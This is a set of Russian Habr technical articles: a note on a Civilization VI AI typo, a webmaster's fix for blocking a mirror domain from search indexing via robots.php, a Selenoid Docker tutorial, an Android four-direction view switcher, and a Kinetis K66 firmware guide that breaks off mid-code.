Во всех пяти строчках одинаковая опечатка, из-за которой лидеры наций нерационально распределяют ресурсы своего народа. В частности, эти строчки задают основные приоритеты, которые потом изменяются и корректируются. После исправления опечатки [заметна разница](https://forums.somethingawful.com/showthread.php?threadid=3775912&userid=0&perpage=40&pagenumber=456#post482139381): генерируется в целом меньше религии ([faith](https://civ6.gamepedia.com/Faith)), но строится больше зданий и лучше развивается наука. | https://habr.com/ru/post/417435/ | null | ru | null |
# Закрываем зеркало сайта от индексации правильно
Здравствуй, %habrauser%.
Сегодня я покажу как не надо закрывать от индексации зеркало сайта, и как закрыть его правильно.
##### Предыстория
Я работаю web-мастером в одной крупной для нашего города компании.
Мы сделали клиенту сайт, для рекламирования и продажи своей продукции.
Клиент выбрал доменное имя в зоне **.RU**, и сайт около года успешно работал. Сайт по настоящее время обслуживается и редактируется по мере необходимости у нас.
Через какое-то время клиент захотел второй домен для сайта, но в зоне **.РФ**.
Он самостоятельно нашёл «профессиональных ~~seo-специалистов~~ продвигальщиков», сайт которых стоял на первом месте в выдаче Яндекса по определенным запросам.
С ними он заключил договор, и ежемесячно отгружал немалую сумму денег в эту seo-конторку.
Спустя пару недель сеошники наконец проснулись, связались с нами и получили ftp доступы к сайту, а так же пароль от админки сайта.
##### Началась «оптимизация»
Всё началось с того, что они не разобрались в движке сайта PHPShop.
Отправили нам письмо, мы им сообщили где что редактируется, в каком файле находятся нужные им теги, а так же в довесок дали немного ссылок на официальную документацию.
Сам сайт устроен так, что скелет вёрстки главной страницы находится в файле index.tpl, а html-скелет остальных внутренних страниц находится в файле shop.tpl. Сам же контент находится в базе данных и редактируется через админку с помощью визуального редактора, либо в виде source html.
Сеошники поправили верстку как им было необходимо, но на главной странице они захотели воткнуть свой копирайт-рекламу.
В договоре, кстати, указано что убирать эту индексируемую ссылку на их сайт нельзя.
Горе-оптимизаторы так и не разобравшись в элементарной админке, напичкали сайт своими ~~скриптами~~ костылями, которые мешали нормальной работе фреймворка и шли в разрез со здравым смыслом. Самое безобидное — сделали статичную версию главной, и положили этот статичный index.html рядом с index.php.
Далее, через свои скрипты, сделали переадресацию с index.php на index.html
*Зачем? Закрывая глаза на то, что всё редактируется через админку, можно же через htaccess и mod\_rewrite сделать такую переадресацию на уровне веб-сервера написав несколько строк, и не подключать mod\_php для вывода 301 заголовка...*
Выяснился этот сюрприз оставленный сеошниками через месяц, когда клиент захотел поменять на главной информацию, и обратился к нам.
Я всё делаю по т.з., сохраняю, и начинаю медленно сходить с ума.
Полез в базу — информация новая. Полез ковыряться в движке, и дебаг показывает что информация выдаётся правильно. Захожу по ftp, и нахожу 4 незнакомых скрипта в корне сайта, в названии которых есть наименование seo-компании.
Около часа ковырялся в их коде. К слову, php код их скриптов удостоен почетного места на ресурсе [govnokod.ru](http://govnokod.ru)
Поправляю за ними косяк, переношу проделанную ими работу из статичного index.html в базу данных движка.
##### «Нам сюрпризов не жалко»
Еще через пару недель выясняется новый косяк. Именно тот, о котором данный тред.
Клиент звонит и злостно говорит что мы опять что-то натворили на сайте, и ничего не работает. Мы в недоумении начинаем опять разбираться в проблеме.
Заходим на главную страницу зеркала в зоне **РФ**, и видим ошибку 404.
Снова начинаем немного удивляться умению добавить людям работы на ровном месте, и задаваться вопросом «как?».
Заходим на основной домен в зоне.ру (они его и продвигают) — всё нормально.
Опять лезу ковыряться в коде горе-оптимизаторов.
И… Нахожу следующий код:
*Доменные имена специально не раскрываю, а так же умолчу какая именно seo компания так извращается*
```
if($_SERVER['HTTP_HOST']!='domain.ru'&&$_SERVER['HTTP_HOST']!='www.domain.ru') {
$page=file_get_contents_curl('http://domain.ru/hjgjgjhgjh');
$page=iconv('utf-8','windows-1251',$page);
header('HTTP/1.1 404 Not Found',true,404);
$page=str_replace('','',$page);
echo $page;
echo 'not found';
exit();
}
```
facepalm.jpg
Как мы видим, они не захотели что бы зеркало попадало в индекс Яндекса, и сделали зверский костыль.
Сношу их индусский код, и делаю следующее:
Создаю файл **robots.php**, и пишу туда следующее:
```
php
header("Content-type: text/plain"); // отправляем заголовок, который указывает что обрабатываться должно как простой текст
if(strpos($_SERVER['HTTP_HOST'], 'domain.ru') === false) { // если хост не равен основному домену, то:
echo "User-agent: *\nDisallow: /\nHost: domain.ru"; // выводит что индексация запрещена, и основной сайт находится по другому адресу
} else { // если хост равен domain.ru, то выводится то что нам нужно
?
User-agent: Yandex
Disallow: /gbook/ID
Disallow: /search/
Disallow: /highslide/
Disallow: /java/
Disallow: /license/
Disallow: /pageHTML/
Disallow: /tagcloud/
Disallow: /data/
Disallow: /capcha/
Disallow: /pages/
Host: domain.ru
User-Agent: Slurp
Disallow: /
User-agent: *
Disallow: /gbook/ID
Disallow: */*.swf
Disallow: /search/
Disallow: /highslide/
Disallow: /java/
Disallow: /license/
Disallow: /pageHTML/
Disallow: /tagcloud/
Disallow: /webstat/
Disallow: /data/
Disallow: /capcha/
Disallow: /pages/
Sitemap: http://domain.ru/sitemap.xml
php } ?
```
Пол дела сделано, теперь удаляем **robots.txt**, и в файл .htaccess добавляем такие строки (обязательное условие apache+mod\_rewrite):
```
RewriteEngine On
RewriteRule ^robots.txt$ robots.php
```
**UPD:** конвертированное правило для nginx *Лично не проверял, но должно работать.
Если что напишите в коммент — поправлю*
```
location = /robots.txt {
rewrite ^(.*)$ /robots.php;
}
```
Всё! Когда роботы запрашивает robots.txt, сервер отдаёт им файл robots.php
P.S. Надеюсь если кто-то использует подобные кривые способы закрытия зеркала, добавит это к себе в «копилку» скриптов для оптимизации.
P.P.S. Так уж сложилось, что в настоящее время профессиональных seo компаний очень мало, и получается вечное противостояние «сеошники VS разработчики», одни делают сайт, другие ломают его функциональность за счёт кривых рук и непонимания.
P.P.P.S. Если кому то интересно, всё таки могу указать ссылочку на ту seo-конторку
Спасибо за внимание!
**UPD:** Не в целях антирекламы, а в целях предосторожности: demis.ru — сеошники-герои данного треда.
UPD: Очередной случай. Полезли что-то делать, поехала вёрстка. Уже надоело за свой счёт и время поправлять их косяки | https://habr.com/ru/post/135921/ | null | ru | null |
# Selenium за 60 секунд
Представляю вам перевод моей [статьи](https://medium.com/@aandryashin/selenium-done-in-60-seconds-176796f8bdc7) на Medium.com.
[Selenium](http://seleniumhq.org/) сегодня является стандартом де-факто для автоматизации выполнения тестов в браузерах. Все популярные браузеры поддерживаются из коробки, а архитектура хорошо известна. Существуют даже компании, предоставляющие Selenium за деньги. Но удобен ли обычный Selenium сервер для локальной отладки тестов?
Проблема
--------
Как веб-разработчик или инженер по автоматизации тестирования вы можете столкнуться со следующими неудобствами при работе со стандартным Selenium сервером:
1. Нужно устаналивать несколько разных браузеров себе на компьютер. В обычной жизни вы, как правило, используете один браузер, например, Chrome, но вам приходится устанавливать себе Firefox и Opera, чтобы отлаживать в них Selenium-тесты.
2. Трудно устанавливать и использовать несколько версий одного браузера. Если вы устанавливаете браузер из пакетов, то вообще можно иметь только одну установленную версию. Кроме того Selenium и его веб-драйверы обычно ищут исполняемый файл браузера по определенному пути. Поэтому, поверьте, использовать несколько версий может быть трудной задачей.
3. Если вы запускаете браузер, установленный в вашей операционной системе — он забивает место на диске своими временными файлами и содержимым кеша.
4. Нельзя гарантировать, что настройки браузера всегда останутся в том же состоянии, как после чистой установки. Например, вы можете случайно изменить адрес прокси-сервера или настройки безопасности. Это может привести к падению ранее работавших тестов.
5. Трудно запускать несколько тестов в разных браузерах параллельно. Попытка сделать это как правило приводит к различным проблемам: окна начинают конкурировать за фокус, не срабатывающие события, не ожидаемые CSS стили и так далее.
6. Нужно знать какая версия Selenium совместима с какой версией браузера. То же самое верно для исполняемых файлов веб-драйверов (например, Chromedriver).
Приведенный выше список недостатков далеко не полный. Но давайте остановимся на этом и попробуем гораздо более удобный способ отладки Selenium-тестов локально.
Selenoid
--------
В моей предыдущей статье ([часть I](https://hackernoon.com/selenium-testing-a-new-hope-7fa87a501ee9), [часть II](https://hackernoon.com/selenium-testing-a-new-hope-a00649cdb100)) я коротко описал новые открытые инструменты для работы с Selenium: [Ggr](http://github.com/aerokube/ggr) и [Selenoid](http://github.com/aerokube/selenoid). **Ggr** в основном нужен для больших Selenium кластеров и не нужен для отладки тестов на вашей машине. Сегодня я более подробно расскажу о **Selenoid** — альтернативной реализации Selenium хаба, которая запускает браузеры в [Docker](http://docker.io/) контейнерах.
Но почему же запуск браузеров в контейнерах так удобен? И в чем разница между запуском браузеров из контейнеров, поставляемых разработчиками Selenium и Selenoid? — Основная идея Selenoid состоит в том, чтобы запускать новый контейнер для каждой Selenium сессии (т.е. запроса нового браузера) и останавливать их сразу же после закрытия сессии. Такой подход сразу же решает все проблемы связанные с залипанием состояния в кешах и использования одних настроек браузера в разных сессиях. В каждом контейнере находится конкретная версия браузера, правильная версия веб-драйвера или Selenium сервера, поддерживающая этот браузер и все зависимости наподобие шрифтов, графических библиотек и так далее. Более того, контейнеры обеспечивают достаточный уровень изоляции процессов браузеров. Это позволяет запускать неограниченное количество разлиных версий браузеров параллельно и забыть о проблемах с фокусом. Безусловно, эти же проблемы решаются и обычными Selenium контейнерами. Но для того, чтобы получить поведение, аналогичное Selenoid, в дополнение к Docker как правило требуется использовать сложные админские инструменты наподобие [Ansible](http://ansible.com) или [Salt](http://saltstack.com/).
Установка
---------
Немного порекламировав Selenoid, настало время показать как просто с ним работать. Для того, чтобы получить работающий Selenium нужно выполнить 3 коротких шага:
1. Установить [Docker](http://docker.com/). Обычно это делается при помощи стандартного менеджера пакетов вашей операционной системы такого как [APT](https://wiki.debian.org/Apt), [Yum](https://fedoraproject.org/wiki/Yum) или [Homebrew](http://brew.sh). Подробности можно найти в [документации](https://docs.docker.com/engine/installation/) Docker.
2. Создать каталог для хранения конфигурации Selenoid и сгенерировать конфигурационный файл:
```
# mkdir -p /etc/selenoid
# docker run --rm -v /var/run/docker.sock:/var/run/docker.sock aerokube/cm:1.0.0 selenoid \
--last-versions 2 --tmpfs 128 --pull > /etc/selenoid/browsers.json
```
Последняя команда также скачает образы Docker-контейнеров двух последних версий Firefox, Chrome и Opera и сгенерирует правильный файл конфигурации для Selenoid.
3. Запустить Selenoid:
```
# docker run -d --name selenoid -p 4444:4444 -v /etc/selenoid:/etc/selenoid:ro \
-v /var/run/docker.sock:/var/run/docker.sock aerokube/selenoid:1.1.1
```
Все — прошло 60 секунд и Selenoid готов к работе. Не нужно устанавливать Java и скачивать Selenium руками. Просто запустите свои тесты, используя тот же самый URL, что и у обычного Selenium server:
```
http://localhost:4444/wd/hub
```
Мордочка и сбор статистики
--------------------------
Selenoid может использоваться совместно с Ggr для настройки большого Selenium кластера, поэтому у него нет графического интерфейса наподобие Grid Console в обычном Selenium. Посмотреть потребление браузеров можно двумя способами:
I. Запустить дополнительный легковесный контейнер с Selenoid UI. Это делается командой:
```
# docker run -d --name selenoid-ui --net host aerokube/selenoid-ui:1.0.0
```
Мордочка будет доступна в браузере по адресу `http://localhost:8080/`:
II. Отправлять статистику Selenoid во внешнюю систему: [Graphite](https://github.com/graphite-project/), [InfluxDB](https://github.com/influxdata/influxdb), [ElasticSearch](https://github.com/elastic/elasticsearch) и так далее. Статистика Selenoid может быть получена по следующему URL:
```
http://localhost:4444/status
```
Данные отправляются в виде JSON следующего формата:
```
$ curl http://localhost:4444/status
{
"total": 80,
"used": 14,
"queued": 0,
"pending": 1,
"browsers": {
"firefox": {
"46.0": {
"user1": 5,
"user2": 6
},
"48.0": {
"user2": 3
}
}
}
}
```
Selenoid возвращает сколько контейнеров может быть запущено одновременно (**total**), сколько запущено в данный момент (**used**), сколько запросов ожидают в очереди (**queued**) и сколько контейнеров еще стартуют (**pending**). Элемент **browsers** содержит информацию о потреблении браузеров различными пользователями. Имя пользователя извлекается из Basic HTTP headers, если они выставлены или выставляется в **unknown**, если нет. Хотя вы можете разбирать показанный JSON вручную при помощи скрипта, мы рекомендуем использовать для этой цели [Telegraf](http://github.com/influxdata/telegraf/). Больше информации о том, как использовать Telegraf изложено в [этом](https://github.com/aerokube/selenoid#sending-statistics-to-external-systems) разделе нашей документации.
Готовые контейнеры с браузерами
-------------------------------
Согласитесь, круто иметь инструмент, автоматически запускающий контейнеры с разными браузерами. Но еще круче иметь набор готовых контейнеров с разными версиями популярных браузеров. Мы проделали много работы и подготовили образы контейнеров с разными версиями Firefox, Chrome и Opera. Полный список можно посмотреть на [selenoid@DockerHub](http://hub.docker.com/u/selenoid/).
Чтобы всегда иметь набор свежих версий браузеров нужно лишь время от времени выполнять команду:
```
# docker run --rm -v /var/run/docker.sock:/var/run/docker.sock aerokube/cm:1.0.0 \
selenoid --last-versions 2 --tmpfs 128 --pull > /etc/selenoid/browsers.json
```
Эта команда автоматически скачивает последние версии контейнеров и генерирует новую JSON-конфигурацию для Selenoid. Чтобы начать использовать новые браузеры отправьте Selenoid команду на перечитывание конфигурации (можно делать под нагрузкой):
```
# docker kill -s HUP selenoid
```
Наши контейнеры также поддерживают возможность установки произвольно разрешения экрана (по-умолчанию `1920x1080x24`). Чтобы выставить разрешение просто передайте capability `screenResolution`:
```
screenResolution: "1280x1024x24"
```
Заключение
----------
В этой статье я рассказал как эффективно управлять различными браузерами при помощи Selenoid. Поверьте — работа с Selenium может быть комфортной. Если вам интересны вопросы построения эффективной инфраструктуры тестирования, вы можете взглянуть на другие открытые инструменты в нашей организации на [Github](http://github.com/aerokube) или подпишитесь на наш Твиттер [@aerokube](http://twitter.com/aerokube).
В благодарность автору замечательной картинки, посмотрите [как ее рисовали](https://www.youtube.com/watch?v=qo7KY2pMMDs). | https://habr.com/ru/post/327184/ | null | ru | null |
# Слайдинг в двух — нет, в четырех направлениях
На Хабре не раз встречались статьи про слайдинг экранов под Android [ViewPager](http://habrahabr.ru/blogs/android_development/131889/), [ViewPagerIndicator](http://habrahabr.ru/blogs/android_development/137021/). Я хочу предложить вариант слайдинга в четырех направлениях.
Не так давно у меня возникла необходимость сделать слайдинг экрана в четрех направлениях: влево, вправо, вверх и вниз. Поиски по интернету не дали положительного результата, или может я плохо искал. Так что в итоге я решил сделать то, что мне нужно сам.
Надо сказать, что начал я не с нуля, за основу была положена реализация слайдинга по горизонтали отсюда [RealViewSwitcher](http://marcreichelt.blogspot.com/2010/09/android-use-realviewswitcher-to-switch.html).
Итак, вся реализация размещается в одном классе TwoDirectionsViewSwitcher, который наследуется от ViewGroup. Для реализации необходимого функционала, достаточно переопределить следующие методы базового класса:
В методе onMeasure задаются размеры для будущих экранов:
```
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec)
```
В onLayout производится компоновка экранов и собственно разделение на строки (количество строк передается в конструкторе):
```
protected void onLayout(boolean changed, int l, int t, int r, int b)
```
Сам конструктор в который передается контекст приложения и количество строк, на которые необходимо разбить общий список экранов:
```
public TwoDirectionsViewSwitcher(Context context, int rows)
```
Следующий, ключевой, метод обработки прикосновений к экрану onTouchEvent:
```
public boolean onTouchEvent(MotionEvent ev)
```
И последний, метод расчета скролла дочерних экранов computeScroll:
```
public void computeScroll()
```
Теперь несколько подробнее остановимся на некоторых ключевых методах класса. Метод **onLayout**.
Тут все просто, реализуется вложенный цикл по количеству строк и задаются смещения для каждого последующего экрана.
Более сложный метод — это обработчик прикосновений к экрану **onTouchEvent**.
Здесь он мало отличается от типовой реализации, обрабатываются различные типы действий:
* MotionEvent.ACTION\_DOWN — прикосновение к экрану;
* MotionEvent.ACTION\_MOVE — движение по экрану после прикосновения;
* MotionEvent.ACTION\_UP — окончание движение (поднятие пальца с экрана)
В обработчике соытия MotionEvent.ACTION\_DOW определяется факт начала движения по экрану, задаются текущие положения по X и Y нажатия экрана и задается признак начала скроллинга.
В обработчике MotionEvent.ACTION\_MOVE обрабатывается смещение по эрану (случай, когда смещение превысило возвращаемое методом ViewConfiguration.get(getContext()).getScaledTouchSlop() значение), вычисляется значение скролла по X и Y и определяется направление движения по абсолютному значению смещения по осям:
```
// приращение по X
final int deltaX = (int) (mLastMotionX - x);
// приращение по Y
final int deltaY = (int) (mLastMotionY - y);
mLastMotionX = x;
mLastMotionY = y;
// смещение View относительно экрана по осям
final int scrollX = getScrollX();
final int scrollY = getScrollY();
// определение направления перемещения, по горизонтали или вертикали
if (Math.abs(deltaX) > Math.abs(deltaY) && isMoveBegin) {
isMoveBegin = false;
isXMove = true;
isYMove = false;
} else if (Math.abs(deltaX) < Math.abs(deltaY) && isMoveBegin) {
isMoveBegin = false;
isXMove = false;
isYMove = true;
}
// обработка движения по горизонтали
if (isXMove) {
if (deltaX < 0) {
if (scrollX > 0) {
scrollBy(Math.max(-scrollX, deltaX), 0);
}
} else if (deltaX > 0) {
final int availableToScroll = getChildAt(getChildCount() / mRows -1).getRight() - scrollX - getWidth();
if (availableToScroll > 0) {
scrollBy(Math.min(availableToScroll, deltaX), 0);
}
}
}
// обработка движения по вертикали
else if (isYMove) {
if (deltaY < 0) {
if (scrollY > 0) {
scrollBy(0, Math.max(-scrollY, deltaY));
}
} else if (deltaY > 0) {
final int availableToScroll = getChildAt(getChildCount() - 1).getBottom() - scrollY - getHeight();
if (availableToScroll > 0) {
scrollBy(0, Math.min(availableToScroll, deltaY));
}
}
}
}
break;
```
Кроме того для ортогонального перемещения по осям введены три переменные isXMove, isYMove, isMoveBegin. Последняя из которых принимает значение true при обработке MotionEvent.ACTION\_DOWN.
Дальше собственно идет скроллинг экрана с использованием нескольких утилитных методов.
Обработчик MotionEvent.ACTION\_UP отвечает за завершение прокрутки экрана и обнуление рабочих переменных. Если перемещение экрана произошло больше чем на половину, происходит пролистывание на следующий экран, в противном случае старый экран возвращается в свое начальное положение.
Еще хотелось бы остановиться на моменте, когда нужно переместиться не на первый экран, а на произвольный, при создании экземпляра класса. Для этого создан конструктор:
```
public TwoDirectionsViewSwitcher(Context context, int rows, int currentScreen) {
super(context);
mCurrentScreen = currentScreen;
mRows = rows;
init();
}
```
В методе **onMeasure** при первом открытии обрабатывается заданная изначально позиция:
```
if (mFirstLayout) {
int row = mCurrentScreen / (getChildCount() / mRows);
int cell = mCurrentScreen % (getChildCount() / mRows);
scrollTo(cell * width, row * height);
mFirstLayout = false;
}
```
Конечно, данный класс не претендует на завершенность, в нем, например, стоило бы реализовать обработку изменения расположения экрана (сейчас он корректно работает в режиме Landscape), добавить эффектов, учитывать кратность общего числа экранов и количества строк, но даже в таком виде он выполняет те функции, для которых я его собственно и разрабатывал — перемещение в четырех направлениях.
Полный код проекта с примером использования опубликован на github [TwoDirectionsViewSwitcher](https://github.com/jusalex/TwoDirectionsViewSwitcher). | https://habr.com/ru/post/137339/ | null | ru | null |
# Модуль универсального контроллера для интернета вещей. Основы программирования
Открытый проект модуля **IoT** K66BLEZv1 продолжает развиваться.
Здесь рассмотрим следующие вопросы важные на первом этапе освоения:
— технология быстрого создания приложений для модуля в среде **IAR Embedded Workbench** **без** сложных SDK
— время активизации программы от момента подачи питания
— максимальная скорость программного переключения состояния пинов
— пример управления светодиодом по прерываниям на основе автомата состояний
Знакомство с модулем **K66BLEZ1** было начато в этих статьях:
[Модуль универсального контроллера для интернета вещей. Вдыхаем жизнь](https://geektimes.ru/post/274100/)
[Модуль универсального контроллера для интернета вещей. Тестирование FatFs](https://geektimes.ru/post/274416/)
[Схема модуля](https://github.com/Indemsys/K66BLEZ1/blob/master/PCB/K66BLEZv1.pdf)
[Репозитарий проекта](https://github.com/Indemsys/K66BLEZ1)
Технология быстрой разработки.
==============================
В последнее время программное обеспечение для микроконтроллеров на ядре **ARM** Cortex-M стало таким сложным, что иногда кажется без специального **API** нельзя даже пином пошевелить. Производители чипов не жалеют сил чтобы максимально «абстрагировать» разработчиков от периферии снабжая нас различными **SDK** с библиотеками драйверов, уровнями абстракций (**HAL**), логическими уровнями и прочими прослойками. Это вроде бы должно ускорить разработку приложений, упростить вхождение в тему, избавить от необходимости чтения справочных руководств, обеспечить реюзинг кода.
Но это не всегда работает. Т.е. это работает только до встречи с первыми аппаратными проблемами микроконтроллера или до той поры пока не пришло время раскрыть весь потенциал чипа, из-за которого он и был выбран для создания собственной платформы.
Поэтому я всегда начинаю с создания своей минималистичной библиотеки функций работы с периферией. В моих функциях я не пытаюсь создать единые интерфейсы доступа к разной периферии, везде где можно обращаюсь к периферии напрямую, не придаю особое значение реюзингу низкоуровневых функций и часто переписываю их код или делаю его полный рефактринг.
Здесь я продемонстрирую несколько простых исходников с помощью которых начинающие могут завести и эффективно использовать модуль **K66BLEZv1** без необходимости изучения и использования библиотек драйверов и уровня абстракций периферии из стандартного SDK для микроконтроллеров семейства **Kinetis**.
Установка среды разработки.
---------------------------
Начнём с установки среды разработки. Это будет [IAR Embedded Workbench](https://www.iar.com/iar-embedded-workbench/). Пакет коммерческий, но нам достаточно возможностей тестовой бесплатной версии. Качество и быстрота компиляции в **IAR** не уступают уровню [Keil MDK](http://www2.keil.com/mdk5) и **ARM GCC**. Актуальный сравнительный анализ можно найти [здесь](https://geektimes.ru/post/264558/).
Скачивается [IAR Embedded Workbench](https://www.iar.com/iar-embedded-workbench/) легко и через простую форму регистрации получается триальная лицензия.
Пишем приложение.
-----------------
Точнее изучаем, поскольку приложение уже создано. Проект находится [здесь](https://github.com/Indemsys/K66BLEZ1/tree/master/Firmware_examples/BareBoard/SimplestApp).
Скриншот первого простейшего приложения показан ниже. Традиционно моргаем светодиодом.
Пишем на языке **C**, но с расширениями, предоставляемыми компилятором **IAR**. Перейти на **C++** в **IAR** не составляет труда, достаточно у файлов c расширением **.c** поменять расширение на **.cpp**.
Первое с чего приходится начинать писать программу для таких развитых микроконтроллеров как **Kinetis** это инициализация подсистемы тактирования ядра и периферии. В чипе несколько генераторов, умножителей частоты, делителей и прочего. Все нужно правильно настроить и включить в строго определённом порядке. В стандартном **SDK** это реализовано весьма избыточно, запутанно и в стиле магических чисел. В этом примере у меня все поместилось в одну простую процедуру в файле ***K66BLEZ1*\_INIT\_SYS.c**
**Вот её текст:****Нажать сюда**
```
//-------------------------------------------------------------------------------------------------------
// Инициализация чипа MK66FN2M0VLQ18 на плате K66BLEZ1
//-------------------------------------------------------------------------------------------------------
int Init_MK66FN2M0VLQ18_K66BLEZ1(void)
{
WDOG_MemMapPtr WDOG = WDOG_BASE_PTR;
// Выключать WATCHDOG надо сразу, иначе может возникнуть нестабильный запуск кода после холодного рестарта
//--------------------------------------------------------------------------------------------------------------------------------------
WDOG->UNLOCK = 0xC520; // Откроем доступ на запись в регитры управления WDOG
WDOG->UNLOCK = 0xD928;
WDOG->STCTRLH = 0
+ LSHIFT(0x00, 14) // DISTESTWDOG | Allows the WDOG’s functional test mode to be disabled permanently| 0 WDOG functional test mode is not disabled.
+ LSHIFT(0x00, 12) // BYTESEL[1:0]| This 2-bit field select the byte to be tested ... | 00 Byte 0 selected
+ LSHIFT(0x00, 11) // TESTSEL | Selects the test to be run on the watchdog timer | 0 Quick test
+ LSHIFT(0x00, 10) // TESTWDOG | Puts the watchdog in the functional test mode |
+ LSHIFT(0x01, 8) // Reserved |
+ LSHIFT(0x01, 7) // WAITEN | Enables or disables WDOG in wait mode. | 1 WDOG is enabled in CPU wait mode.
+ LSHIFT(0x01, 6) // STOPEN | Enables or disables WDOG in stop mode | 1 WDOG is enabled in CPU stop mode.
+ LSHIFT(0x00, 5) // DBGEN | Enables or disables WDOG in Debug mode | 0 WDOG is disabled in CPU Debug mode.
+ LSHIFT(0x01, 4) // ALLOWUPDATE | Enables updates to watchdog write once registers | 1 WDOG write once registers can be unlocked for updating
+ LSHIFT(0x00, 3) // WINEN | Enable windowing mode. | 0 Windowing mode is disabled.
+ LSHIFT(0x00, 2) // IRQRSTEN | Used to enable the debug breadcrumbs feature | 0 WDOG time-out generates reset only.
+ LSHIFT(0x01, 1) // CLKSRC | Selects clock source for the WDOG | 1 WDOG clock sourced from alternate clock source
+ LSHIFT(0x00, 0) // WDOGEN | Enables or disables the WDOG’s operation | 1 WDOG is enabled.
;
Init_pins();
Init_cpu();
return 1;
}
//-------------------------------------------------------------------------------------------------------
//
//-------------------------------------------------------------------------------------------------------
void Init_cpu(void)
{
//SCB_MemMapPtr SCB = SystemControl_BASE_PTR;
//NVIC_MemMapPtr NVIC = NVIC_BASE_PTR;
SIM_MemMapPtr SIM = SIM_BASE_PTR;
RTC_MemMapPtr RTC = RTC_BASE_PTR;
MCG_MemMapPtr MCG = MCG_BASE_PTR;
PIT_MemMapPtr PIT = PIT_BASE_PTR;
FMC_MemMapPtr FMC = FMC_BASE_PTR;
//CRC_MemMapPtr CRC = CRC_BASE_PTR;
RCM_MemMapPtr RCM = RCM_BASE_PTR;
PMC_MemMapPtr PMC = PMC_BASE_PTR;
MPU_BASE_PTR->CESR = 0; // 0 MPU is disabled. All accesses from all bus masters are allowed.
//--------------------------------------------------------------------------------------------------------------------------------------
SIM->SCGC6 |= BIT(29); // RTC | RTC clock gate control | 1 Clock is enabled.
if ( (RTC->CR & BIT(8)) == 0u ) // If 0, 32.768 kHz oscillator is disabled.
{
RTC->CR = 0
+ LSHIFT(0x00, 13) // SC2P | Oscillator 2pF load configure | 0 Disable the load.
+ LSHIFT(0x00, 12) // SC4P | Oscillator 4pF load configure | 0 Disable the load.
+ LSHIFT(0x00, 11) // SC8P | Oscillator 8pF load configure | 0 Disable the load.
+ LSHIFT(0x00, 10) // SC16P| Oscillator 16pF load configure | 0 Disable the load.
+ LSHIFT(0x00, 9) // CLKO | Clock Output | 1 The 32kHz clock is not output to other peripherals
+ LSHIFT(0x01, 8) // OSCE | Oscillator Enable | 1 32.768 kHz oscillator is enabled.
+ LSHIFT(0x00, 3) // UM | Update Mode | 0 Registers cannot be written when locked.
+ LSHIFT(0x00, 2) // SUP | Supervisor Access | 0 Non-supervisor mode write accesses are not supported and generate a bus error.
+ LSHIFT(0x00, 1) // WPE | Wakeup Pin Enable | 0 Wakeup pin is disabled.
+ LSHIFT(0x00, 0) // SWR | Software Reset | 0 No effect
;
}
//--------------------------------------------------------------------------------------------------------------------------------------
// Загрузка регистров из области чипа с заводскими установками
if ( *((uint8_t *)0x03FFU) != 0xFFU )
{
MCG->C3 = *((uint8_t *)0x03FFU);
MCG->C4 = (MCG_C4 & 0xE0U) | ((*((uint8_t *)0x03FEU)) & 0x1FU);
}
//--------------------------------------------------------------------------------------------------------------------------------------
SIM->CLKDIV1 = 0
+ LSHIFT(0x00, 28) // OUTDIV1 | Divide value for the core/system clock | 0000 Divide-by-1. | core/system clock = 180 MHz = CPU_CORE_CLK_HZ_CONFIG_3
+ LSHIFT(0x02, 24) // OUTDIV2 | Divide value for the peripheral clock | 0010 Divide-by-3. | bus clock = 60 MHz = CPU_BUS_CLK_HZ_CONFIG_3
+ LSHIFT(0x06, 20) // OUTDIV3 | Divide value for the FlexBus clock driven to the external pin (FB_CLK). | 0110 Divide-by-7. | FlexBus clock = 25.7 MHz = CPU_FLEXBUS_CLK_HZ_CONFIG_3
+ LSHIFT(0x06, 16) // OUTDIV4 | Divide value for the flash clock | 0110 Divide-by-7. | flash clock = 25.7 MHz = CPU_FLASH_CLK_HZ_CONFIG_3
;
SIM->CLKDIV4 = 0
+ LSHIFT(0x01, 01) // TRACEDIV | Trace clock divider divisor
+ LSHIFT(0x00, 00) // TRACEFRAC | Trace clock divider fraction
;
//
SIM->SOPT2 = 0
+ LSHIFT(0x00, 28) // ESDHCSRC | ESDHC perclk source select | 00 Core/system clock
+ LSHIFT(0x01, 26) // LPUARTSRC | LPUART clock source select | 01 MCGFLLCLK , or MCGPLLCLK, or IRC48M, or USB1 PFD
+ LSHIFT(0x01, 24) // TPMSRC | TPM clock source select | 01 MCGFLLCLK , or MCGPLLCLK, or IRC48M, or USB1 PFD
+ LSHIFT(0x00, 20) // TIMESRC | Ethernet timestamp clock source select| 00 System platform clock
+ LSHIFT(0x00, 19) // RMIISRC | RMII clock source select | 0 EXTAL clock
+ LSHIFT(0x01, 18) // USBSRC | USB clock source select | 1 MCGFLLCLK, or MCGPLLCLK, or IRC48M, or USB1 PFD
+ LSHIFT(0x01, 16) // PLLFLLSEL | PLL/FLL clock select | 01 MCGPLL0CLK !!!
+ LSHIFT(0x01, 12) // TRACECLKSEL | Debug trace clock select | 0 MCGCLKOUT
+ LSHIFT(0x03, 8) // FBSL | Flexbus security level | 11 Off-chip op code accesses and data accesses are allowed.
+ LSHIFT(0x02, 5) // CLKOUTSEL | Clock out select | 010 Flash ungated clock
+ LSHIFT(0x00, 4) // RTCCLKOUTSEL| RTC clock out select | 0 RTC 1 Hz clock drives RTC CLKOUT.
+ LSHIFT(0x00, 1) // USBREGEN | USB PHY PLL Regulator Enable | 1 USB PHY PLL Regulator enabled.
+ LSHIFT(0x00, 0) // USBSLSRC | USB Slow Clock Source | 0 MCGIRCLK
;
SIM->SOPT1 = 0
+ LSHIFT(0x01, 31) // USBREGEN | USB voltage regulator enable
+ LSHIFT(0x00, 30) // USBSSTBY | UUSB voltage regulator in standby mode during Stop, VLPS, LLS or VLLS
+ LSHIFT(0x00, 29) // USBVSTBY | USB voltage regulator in standby mode during VLPR or VLPW
+ LSHIFT(0x02, 18) // OSC32KSEL | 32K oscillator clock select | 10 RTC 32.768kHz oscillator
;
//--------------------------------------------------------------------------------------------------------------------------------------
MCG->C7 = 0; // OSCSEL | MCG OSC Clock Select | 0 Selects System Oscillator (OSCCLK). 1 Selects 32 kHz RTC Oscillator.
// При подключении к FLL синала 32 kHz RTC не происходит установка битов IREFS и CLKS
// Поэтому подключается сигнал с OSC0 который в данной схеме принимает внешний тактовый сигнал 50 МГц
// Конфигурируем осцилятор 0 (кварц 32 МГц)
MCG->C2 = 0
+ LSHIFT(0x00, 7) // LOCRE0 | Loss of Clock Reset Enable | 0 Interrupt request is generated on a loss of OSC0 external reference clock.
